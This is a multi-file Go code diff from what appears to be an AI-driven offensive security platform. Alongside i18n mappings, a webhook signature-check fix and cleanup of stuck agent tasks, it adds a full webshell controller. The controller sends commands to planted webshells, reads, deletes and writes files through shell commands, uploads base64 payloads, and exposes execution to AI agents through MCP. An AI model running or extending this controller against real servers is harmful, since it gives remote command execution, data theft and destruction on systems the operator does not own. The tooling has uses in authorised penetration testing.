@@ -0,0 +1,139 @@
package handler
// apiDocI18n 为 OpenAPI 文档提供 x-i18n-* 扩展键,供前端 apiDocs 国际化使用。
// 前端通过 apiDocs.tags.* / apiDocs.summary.* / apiDocs.response.* 翻译。
var apiDocI18nTagToKey = map[string]string{
"认证": "auth", "对话管理": "conversationManagement", "对话交互": "conversationInteraction",
"批量任务": "batchTasks", "对话分组": "conversationGroups", "漏洞管理": "vulnerabilityManagement",
"角色管理": "roleManagement", "Skills管理": "skillsManagement", "监控": "monitoring",
"配置管理": "configManagement", "外部MCP管理": "externalMCPManagement", "攻击链": "attackChain",
"知识库": "knowledgeBase", "MCP": "mcp",
}
var apiDocI18nSummaryToKey = map[string]string{
"用户登录": "login", "用户登出": "logout", "修改密码": "changePassword", "验证Token": "validateToken",
"创建对话": "createConversation", "列出对话": "listConversations", "查看对话详情": "getConversationDetail",
"更新对话": "updateConversation", "删除对话": "deleteConversation", "获取对话结果": "getConversationResult",
"发送消息并获取AI回复(非流式)": "sendMessageNonStream", "发送消息并获取AI回复(流式)": "sendMessageStream",
"取消任务": "cancelTask", "列出运行中的任务": "listRunningTasks", "列出已完成的任务": "listCompletedTasks",
"创建批量任务队列": "createBatchQueue", "列出批量任务队列": "listBatchQueues", "获取批量任务队列": "getBatchQueue",
"删除批量任务队列": "deleteBatchQueue", "启动批量任务队列": "startBatchQueue", "暂停批量任务队列": "pauseBatchQueue",
"添加任务到队列": "addTaskToQueue", "SQL注入扫描": "sqlInjectionScan", "端口扫描": "portScan",
"更新批量任务": "updateBatchTask", "删除批量任务": "deleteBatchTask",
"创建分组": "createGroup", "列出分组": "listGroups", "获取分组": "getGroup", "更新分组": "updateGroup",
"删除分组": "deleteGroup", "获取分组中的对话": "getGroupConversations", "添加对话到分组": "addConversationToGroup",
"从分组移除对话": "removeConversationFromGroup",
"列出漏洞": "listVulnerabilities", "创建漏洞": "createVulnerability", "获取漏洞统计": "getVulnerabilityStats",
"获取漏洞": "getVulnerability", "更新漏洞": "updateVulnerability", "删除漏洞": "deleteVulnerability",
"列出角色": "listRoles", "创建角色": "createRole", "获取角色": "getRole", "更新角色": "updateRole", "删除角色": "deleteRole",
"获取可用Skills列表": "getAvailableSkills", "列出Skills": "listSkills", "创建Skill": "createSkill",
"获取Skill统计": "getSkillStats", "清空Skill统计": "clearSkillStats", "获取Skill": "getSkill",
"更新Skill": "updateSkill", "删除Skill": "deleteSkill", "获取绑定角色": "getBoundRoles",
"获取监控信息": "getMonitorInfo", "获取执行记录": "getExecutionRecords", "删除执行记录": "deleteExecutionRecord",
"批量删除执行记录": "batchDeleteExecutionRecords", "获取统计信息": "getStats",
"获取配置": "getConfig", "更新配置": "updateConfig", "获取工具配置": "getToolConfig", "应用配置": "applyConfig",
"列出外部MCP": "listExternalMCP", "获取外部MCP统计": "getExternalMCPStats", "获取外部MCP": "getExternalMCP",
"添加或更新外部MCP": "addOrUpdateExternalMCP", "stdio模式配置": "stdioModeConfig", "SSE模式配置": "sseModeConfig",
"删除外部MCP": "deleteExternalMCP", "启动外部MCP": "startExternalMCP", "停止外部MCP": "stopExternalMCP",
"获取攻击链": "getAttackChain", "重新生成攻击链": "regenerateAttackChain",
"设置对话置顶": "pinConversation", "设置分组置顶": "pinGroup", "设置分组中对话的置顶": "pinGroupConversation",
"获取分类": "getCategories", "列出知识项": "listKnowledgeItems", "创建知识项": "createKnowledgeItem",
"获取知识项": "getKnowledgeItem", "更新知识项": "updateKnowledgeItem", "删除知识项": "deleteKnowledgeItem",
"获取索引状态": "getIndexStatus", "重建索引": "rebuildIndex", "扫描知识库": "scanKnowledgeBase",
"搜索知识库": "searchKnowledgeBase", "基础搜索": "basicSearch", "按风险类型搜索": "searchByRiskType",
"获取检索日志": "getRetrievalLogs", "删除检索日志": "deleteRetrievalLog",
"MCP端点": "mcpEndpoint", "列出所有工具": "listAllTools", "调用工具": "invokeTool", "初始化连接": "initConnection",
"成功响应": "successResponse", "错误响应": "errorResponse",
}
var apiDocI18nResponseDescToKey = map[string]string{
"获取成功": "getSuccess", "未授权": "unauthorized", "未授权,需要有效的Token": "unauthorizedToken",
"创建成功": "createSuccess", "请求参数错误": "badRequest", "对话不存在": "conversationNotFound",
"对话不存在或结果不存在": "conversationOrResultNotFound", "请求参数错误(如task为空)": "badRequestTaskEmpty",
"请求参数错误或分组名称已存在": "badRequestGroupNameExists", "分组不存在": "groupNotFound",
"请求参数错误(如配置格式不正确、缺少必需字段等)": "badRequestConfig",
"请求参数错误(如query为空)": "badRequestQueryEmpty", "方法不允许(仅支持POST请求)": "methodNotAllowed",
"登录成功": "loginSuccess", "密码错误": "invalidPassword", "登出成功": "logoutSuccess",
"密码修改成功": "passwordChanged", "Token有效": "tokenValid", "Token无效或已过期": "tokenInvalid",
"对话创建成功": "conversationCreated", "服务器内部错误": "internalError", "更新成功": "updateSuccess",
"删除成功": "deleteSuccess", "队列不存在": "queueNotFound", "启动成功": "startSuccess",
"暂停成功": "pauseSuccess", "添加成功": "addSuccess",
"任务不存在": "taskNotFound", "对话或分组不存在": "conversationOrGroupNotFound",
"取消请求已提交": "cancelSubmitted", "未找到正在执行的任务": "noRunningTask",
"消息发送成功,返回AI回复": "messageSent", "流式响应(Server-Sent Events": "streamResponse",
}
// enrichSpecWithI18nKeys 在 spec 的每个 operation 上写入 x-i18n-tags、x-i18n-summary
// 在每个 response 上写入 x-i18n-description,供前端按 key 做国际化。
func enrichSpecWithI18nKeys(spec map[string]interface{}) {
paths, _ := spec["paths"].(map[string]interface{})
if paths == nil {
return
}
for _, pathItem := range paths {
pm, _ := pathItem.(map[string]interface{})
if pm == nil {
continue
}
for _, method := range []string{"get", "post", "put", "delete", "patch"} {
opVal, ok := pm[method]
if !ok {
continue
}
op, _ := opVal.(map[string]interface{})
if op == nil {
continue
}
// x-i18n-tags: 与 tags 一一对应的 i18n 键数组(spec 中 tags 为 []string
switch tags := op["tags"].(type) {
case []string:
if len(tags) > 0 {
keys := make([]string, 0, len(tags))
for _, s := range tags {
if k := apiDocI18nTagToKey[s]; k != "" {
keys = append(keys, k)
} else {
keys = append(keys, s)
}
}
op["x-i18n-tags"] = keys
}
case []interface{}:
if len(tags) > 0 {
keys := make([]interface{}, 0, len(tags))
for _, t := range tags {
if s, ok := t.(string); ok {
if k := apiDocI18nTagToKey[s]; k != "" {
keys = append(keys, k)
} else {
keys = append(keys, s)
}
}
}
if len(keys) > 0 {
op["x-i18n-tags"] = keys
}
}
}
// x-i18n-summary
if summary, _ := op["summary"].(string); summary != "" {
if k := apiDocI18nSummaryToKey[summary]; k != "" {
op["x-i18n-summary"] = k
}
}
// responses -> 每个 status -> x-i18n-description
if respMap, _ := op["responses"].(map[string]interface{}); respMap != nil {
for _, rv := range respMap {
if r, _ := rv.(map[string]interface{}); r != nil {
if desc, _ := r["description"].(string); desc != "" {
if k := apiDocI18nResponseDescToKey[desc]; k != "" {
r["x-i18n-description"] = k
}
}
}
}
}
}
}
}
+18 -8
View File
@@ -596,15 +596,25 @@ func (h *RobotHandler) HandleWecomPOST(c *gin.Context) {
h.logger.Debug("企业微信 POST 收到请求", zap.String("body", string(bodyRaw)))
// 验证请求签名防止伪造。企业微信签名算法同 URL 验证,使用 token、timestamp、nonce、 Encrypt 四个字段
if msgSignature != "" {
// 若配置了 Token 则必须校验签名,避免未授权请求触发 Agent(防止平台被接管)
token := h.config.Robots.Wecom.Token
if token != "" {
if msgSignature == "" {
h.logger.Warn("企业微信 POST 缺少签名,已拒绝(需配置 token 并确保回调携带 msg_signature")
c.String(http.StatusOK, "")
return
}
var tmp wecomXML
if err := xml.Unmarshal(bodyRaw, &tmp); err == nil {
expected := h.signWecomRequest(h.config.Robots.Wecom.Token, timestamp, nonce, tmp.Encrypt)
if expected != msgSignature {
h.logger.Warn("企业微信 POST 签名验证失败", zap.String("expected", expected), zap.String("got", msgSignature))
c.String(http.StatusOK, "")
return
}
if err := xml.Unmarshal(bodyRaw, &tmp); err != nil {
h.logger.Warn("企业微信 POST 签名验证前解析 XML 失败", zap.Error(err))
c.String(http.StatusOK, "")
return
}
expected := h.signWecomRequest(token, timestamp, nonce, tmp.Encrypt)
if expected != msgSignature {
h.logger.Warn("企业微信 POST 签名验证失败", zap.String("expected", expected), zap.String("got", msgSignature))
c.String(http.StatusOK, "")
return
}
}
+56 -6
View File
@@ -19,6 +19,7 @@ type AgentTask struct {
Message string `json:"message,omitempty"`
StartedAt time.Time `json:"startedAt"`
Status string `json:"status"`
CancellingAt time.Time `json:"-"` // 进入 cancelling 状态的时间,用于清理长时间卡住的任务
cancel func(error)
}
@@ -41,13 +42,61 @@ type AgentTaskManager struct {
historyRetention time.Duration // 历史记录保留时间
}
const (
// cancellingStuckThreshold 处于「取消中」超过此时长则强制从运行列表移除。正常取消会在当前步骤内返回,
// 超过则视为卡住,尽快释放会话。常见做法多为 30–60s 内释放。
cancellingStuckThreshold = 45 * time.Second
// cancellingStuckThresholdLegacy 未记录 CancellingAt 时用 StartedAt 判断的兜底时长
cancellingStuckThresholdLegacy = 2 * time.Minute
cleanupInterval = 15 * time.Second // 与上面阈值配合,最长约 60s 内移除
)
// NewAgentTaskManager 创建任务管理器
func NewAgentTaskManager() *AgentTaskManager {
return &AgentTaskManager{
m := &AgentTaskManager{
tasks: make(map[string]*AgentTask),
completedTasks: make([]*CompletedTask, 0),
maxHistorySize: 50, // 最多保留50条历史记录
historyRetention: 24 * time.Hour, // 保留24小时
maxHistorySize: 50, // 最多保留50条历史记录
historyRetention: 24 * time.Hour, // 保留24小时
}
go m.runStuckCancellingCleanup()
return m
}
// runStuckCancellingCleanup 定期将长时间处于「取消中」的任务强制结束,避免卡住无法发新消息
func (m *AgentTaskManager) runStuckCancellingCleanup() {
ticker := time.NewTicker(cleanupInterval)
defer ticker.Stop()
for range ticker.C {
m.cleanupStuckCancelling()
}
}
func (m *AgentTaskManager) cleanupStuckCancelling() {
m.mu.Lock()
var toFinish []string
now := time.Now()
for id, task := range m.tasks {
if task.Status != "cancelling" {
continue
}
var elapsed time.Duration
if !task.CancellingAt.IsZero() {
elapsed = now.Sub(task.CancellingAt)
if elapsed < cancellingStuckThreshold {
continue
}
} else {
elapsed = now.Sub(task.StartedAt)
if elapsed < cancellingStuckThresholdLegacy {
continue
}
}
toFinish = append(toFinish, id)
}
m.mu.Unlock()
for _, id := range toFinish {
m.FinishTask(id, "cancelled")
}
}
@@ -76,7 +125,7 @@ func (m *AgentTaskManager) StartTask(conversationID, message string, cancel cont
return task, nil
}
// CancelTask 取消指定会话的任务
// CancelTask 取消指定会话的任务。若任务已在取消中,仍返回 (true, nil) 以便接口幂等、前端不报错。
func (m *AgentTaskManager) CancelTask(conversationID string, cause error) (bool, error) {
m.mu.Lock()
task, exists := m.tasks[conversationID]
@@ -85,13 +134,14 @@ func (m *AgentTaskManager) CancelTask(conversationID string, cause error) (bool,
return false, nil
}
// 如果已经处于取消流程,直接返回
// 如果已经处于取消流程,视为成功(幂等),避免前端重复点击报「未找到任务」
if task.Status == "cancelling" {
m.mu.Unlock()
return false, nil
return true, nil
}
task.Status = "cancelling"
task.CancellingAt = time.Now()
cancel := task.cancel
m.mu.Unlock()
+706
View File
@@ -0,0 +1,706 @@
package handler
import (
"bytes"
"database/sql"
"encoding/json"
"io"
"net/http"
"net/url"
"strings"
"time"
"cyberstrike-ai/internal/database"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"go.uber.org/zap"
)
// WebShellHandler 代理执行 WebShell 命令(类似冰蝎/蚁剑),避免前端跨域并统一构建请求
type WebShellHandler struct {
logger *zap.Logger
client *http.Client
db *database.DB
}
// NewWebShellHandler 创建 WebShell 处理器,db 可为 nil(连接配置接口将不可用)
func NewWebShellHandler(logger *zap.Logger, db *database.DB) *WebShellHandler {
return &WebShellHandler{
logger: logger,
client: &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{DisableKeepAlives: false},
},
db: db,
}
}
// CreateConnectionRequest 创建连接请求
type CreateConnectionRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"`
CmdParam string `json:"cmd_param"`
Remark string `json:"remark"`
}
// UpdateConnectionRequest 更新连接请求
type UpdateConnectionRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"`
CmdParam string `json:"cmd_param"`
Remark string `json:"remark"`
}
// ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections
func (h *WebShellHandler) ListConnections(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
list, err := h.db.ListWebshellConnections()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if list == nil {
list = []database.WebShellConnection{}
}
c.JSON(http.StatusOK, list)
}
// CreateConnection 创建 WebShell 连接(POST /api/webshell/connections
func (h *WebShellHandler) CreateConnection(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
var req CreateConnectionRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
if req.URL == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"})
return
}
if _, err := url.Parse(req.URL); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
return
}
method := strings.ToLower(strings.TrimSpace(req.Method))
if method != "get" && method != "post" {
method = "post"
}
shellType := strings.ToLower(strings.TrimSpace(req.Type))
if shellType == "" {
shellType = "php"
}
conn := &database.WebShellConnection{
ID: "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12],
URL: req.URL,
Password: strings.TrimSpace(req.Password),
Type: shellType,
Method: method,
CmdParam: strings.TrimSpace(req.CmdParam),
Remark: strings.TrimSpace(req.Remark),
CreatedAt: time.Now(),
}
if err := h.db.CreateWebshellConnection(conn); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, conn)
}
// UpdateConnection 更新 WebShell 连接(PUT /api/webshell/connections/:id
func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
var req UpdateConnectionRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
if req.URL == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"})
return
}
if _, err := url.Parse(req.URL); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
return
}
method := strings.ToLower(strings.TrimSpace(req.Method))
if method != "get" && method != "post" {
method = "post"
}
shellType := strings.ToLower(strings.TrimSpace(req.Type))
if shellType == "" {
shellType = "php"
}
conn := &database.WebShellConnection{
ID: id,
URL: req.URL,
Password: strings.TrimSpace(req.Password),
Type: shellType,
Method: method,
CmdParam: strings.TrimSpace(req.CmdParam),
Remark: strings.TrimSpace(req.Remark),
}
if err := h.db.UpdateWebshellConnection(conn); err != nil {
if err == sql.ErrNoRows {
c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
updated, _ := h.db.GetWebshellConnection(id)
if updated != nil {
c.JSON(http.StatusOK, updated)
} else {
c.JSON(http.StatusOK, conn)
}
}
// DeleteConnection 删除 WebShell 连接(DELETE /api/webshell/connections/:id
func (h *WebShellHandler) DeleteConnection(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
if err := h.db.DeleteWebshellConnection(id); err != nil {
if err == sql.ErrNoRows {
c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"ok": true})
}
// GetConnectionState 获取 WebShell 连接关联的前端持久化状态(GET /api/webshell/connections/:id/state
func (h *WebShellHandler) GetConnectionState(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
conn, err := h.db.GetWebshellConnection(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if conn == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
return
}
stateJSON, err := h.db.GetWebshellConnectionState(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
var state interface{}
if err := json.Unmarshal([]byte(stateJSON), &state); err != nil {
state = map[string]interface{}{}
}
c.JSON(http.StatusOK, gin.H{"state": state})
}
// SaveConnectionState 保存 WebShell 连接关联的前端持久化状态(PUT /api/webshell/connections/:id/state
func (h *WebShellHandler) SaveConnectionState(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
conn, err := h.db.GetWebshellConnection(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if conn == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
return
}
var req struct {
State json.RawMessage `json:"state"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
raw := req.State
if len(raw) == 0 {
raw = json.RawMessage(`{}`)
}
if len(raw) > 2*1024*1024 {
c.JSON(http.StatusBadRequest, gin.H{"error": "state payload too large (max 2MB)"})
return
}
var anyJSON interface{}
if err := json.Unmarshal(raw, &anyJSON); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "state must be valid json"})
return
}
if err := h.db.UpsertWebshellConnectionState(id, string(raw)); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"ok": true})
}
// GetAIHistory 获取指定 WebShell 连接的 AI 助手对话历史(GET /api/webshell/connections/:id/ai-history
func (h *WebShellHandler) GetAIHistory(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
conv, err := h.db.GetConversationByWebshellConnectionID(id)
if err != nil {
h.logger.Warn("获取 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err))
c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}})
return
}
if conv == nil {
c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}})
return
}
c.JSON(http.StatusOK, gin.H{"conversationId": conv.ID, "messages": conv.Messages})
}
// ListAIConversations 列出该 WebShell 连接下的所有 AI 对话(供侧边栏)
func (h *WebShellHandler) ListAIConversations(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
list, err := h.db.ListConversationsByWebshellConnectionID(id)
if err != nil {
h.logger.Warn("列出 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err))
c.JSON(http.StatusOK, []database.WebShellConversationItem{})
return
}
if list == nil {
list = []database.WebShellConversationItem{}
}
c.JSON(http.StatusOK, list)
}
// ExecRequest 执行命令请求(前端传入连接信息 + 命令)
type ExecRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"` // php, asp, aspx, jsp, custom
Method string `json:"method"` // GET 或 POST,空则默认 POST
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
Command string `json:"command" binding:"required"`
}
// ExecResponse 执行命令响应
type ExecResponse struct {
OK bool `json:"ok"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
HTTPCode int `json:"http_code,omitempty"`
}
// FileOpRequest 文件操作请求
type FileOpRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"` // GET 或 POST,空则默认 POST
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
Action string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk
Path string `json:"path"`
TargetPath string `json:"target_path"` // rename 时目标路径
Content string `json:"content"` // write/upload 时使用
ChunkIndex int `json:"chunk_index"` // upload_chunk 时,0 表示首块
}
// FileOpResponse 文件操作响应
type FileOpResponse struct {
OK bool `json:"ok"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
func (h *WebShellHandler) Exec(c *gin.Context) {
var req ExecRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
req.Command = strings.TrimSpace(req.Command)
if req.URL == "" || req.Command == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
return
}
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"})
return
}
useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET"
cmdParam := strings.TrimSpace(req.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
if useGET {
targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, req.Command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(req.Type, req.Password, cmdParam, req.Command)
httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
h.logger.Warn("webshell exec NewRequest", zap.Error(err))
c.JSON(http.StatusInternalServerError, ExecResponse{OK: false, Error: err.Error()})
return
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
h.logger.Warn("webshell exec Do", zap.String("url", req.URL), zap.Error(err))
c.JSON(http.StatusOK, ExecResponse{OK: false, Error: err.Error()})
return
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
output := string(out)
httpCode := resp.StatusCode
c.JSON(http.StatusOK, ExecResponse{
OK: resp.StatusCode == http.StatusOK,
Output: output,
HTTPCode: httpCode,
})
}
// buildExecBody 按常见 WebShell 约定构建 POST 体(多数使用 pass + cmd,可配置命令参数名)
func (h *WebShellHandler) buildExecBody(shellType, password, cmdParam, command string) []byte {
form := h.execParams(shellType, password, cmdParam, command)
return []byte(form.Encode())
}
// buildExecURL 构建 GET 请求的完整 URLbaseURL + ?pass=xxx&cmd=yyycmd 可配置)
func (h *WebShellHandler) buildExecURL(baseURL, shellType, password, cmdParam, command string) string {
form := h.execParams(shellType, password, cmdParam, command)
if parsed, err := url.Parse(baseURL); err == nil {
parsed.RawQuery = form.Encode()
return parsed.String()
}
return baseURL + "?" + form.Encode()
}
func (h *WebShellHandler) execParams(shellType, password, cmdParam, command string) url.Values {
shellType = strings.ToLower(strings.TrimSpace(shellType))
if shellType == "" {
shellType = "php"
}
if strings.TrimSpace(cmdParam) == "" {
cmdParam = "cmd"
}
form := url.Values{}
form.Set("pass", password)
form.Set(cmdParam, command)
return form
}
func (h *WebShellHandler) FileOp(c *gin.Context) {
var req FileOpRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
req.Action = strings.ToLower(strings.TrimSpace(req.Action))
if req.URL == "" || req.Action == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
return
}
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"})
return
}
// 通过执行系统命令实现文件操作(与通用一句话兼容)
var command string
shellType := strings.ToLower(strings.TrimSpace(req.Type))
switch req.Action {
case "list":
path := strings.TrimSpace(req.Path)
if path == "" {
path = "."
}
if shellType == "asp" || shellType == "aspx" {
command = "dir " + h.escapePath(path)
} else {
command = "ls -la " + h.escapePath(path)
}
case "read":
if shellType == "asp" || shellType == "aspx" {
command = "type " + h.escapePath(strings.TrimSpace(req.Path))
} else {
command = "cat " + h.escapePath(strings.TrimSpace(req.Path))
}
case "delete":
if shellType == "asp" || shellType == "aspx" {
command = "del " + h.escapePath(strings.TrimSpace(req.Path))
} else {
command = "rm -f " + h.escapePath(strings.TrimSpace(req.Path))
}
case "write":
path := h.escapePath(strings.TrimSpace(req.Path))
command = "echo " + h.escapeForEcho(req.Content) + " > " + path
case "mkdir":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for mkdir"})
return
}
if shellType == "asp" || shellType == "aspx" {
command = "md " + h.escapePath(path)
} else {
command = "mkdir -p " + h.escapePath(path)
}
case "rename":
oldPath := strings.TrimSpace(req.Path)
newPath := strings.TrimSpace(req.TargetPath)
if oldPath == "" || newPath == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path and target_path are required for rename"})
return
}
if shellType == "asp" || shellType == "aspx" {
command = "move /y " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
} else {
command = "mv " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
}
case "upload":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload"})
return
}
if len(req.Content) > 512*1024 {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "upload content too large (max 512KB base64)"})
return
}
// base64 仅含 A-Za-z0-9+/=,用单引号包裹安全
command = "echo " + "'" + req.Content + "'" + " | base64 -d > " + h.escapePath(path)
case "upload_chunk":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload_chunk"})
return
}
redir := ">>"
if req.ChunkIndex == 0 {
redir = ">"
}
command = "echo " + "'" + req.Content + "'" + " | base64 -d " + redir + " " + h.escapePath(path)
default:
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "unsupported action: " + req.Action})
return
}
useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET"
cmdParam := strings.TrimSpace(req.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
if useGET {
targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(req.Type, req.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
c.JSON(http.StatusInternalServerError, FileOpResponse{OK: false, Error: err.Error()})
return
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
c.JSON(http.StatusOK, FileOpResponse{OK: false, Error: err.Error()})
return
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
output := string(out)
c.JSON(http.StatusOK, FileOpResponse{
OK: resp.StatusCode == http.StatusOK,
Output: output,
})
}
func (h *WebShellHandler) escapePath(p string) string {
if p == "" {
return "."
}
// 简单转义空格与敏感字符,避免命令注入
return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'"
}
func (h *WebShellHandler) escapeForEcho(s string) string {
// 仅用于 write:base64 写入更安全,这里简单用单引号包裹
return "'" + strings.ReplaceAll(s, "'", "'\"'\"'") + "'"
}
// ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用)
func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
if conn == nil {
return "", false, "connection is nil"
}
command = strings.TrimSpace(command)
if command == "" {
return "", false, "command is required"
}
useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
cmdParam := strings.TrimSpace(conn.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
var err error
if useGET {
targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", false, err.Error()
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
return "", false, err.Error()
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
return string(out), resp.StatusCode == http.StatusOK, ""
}
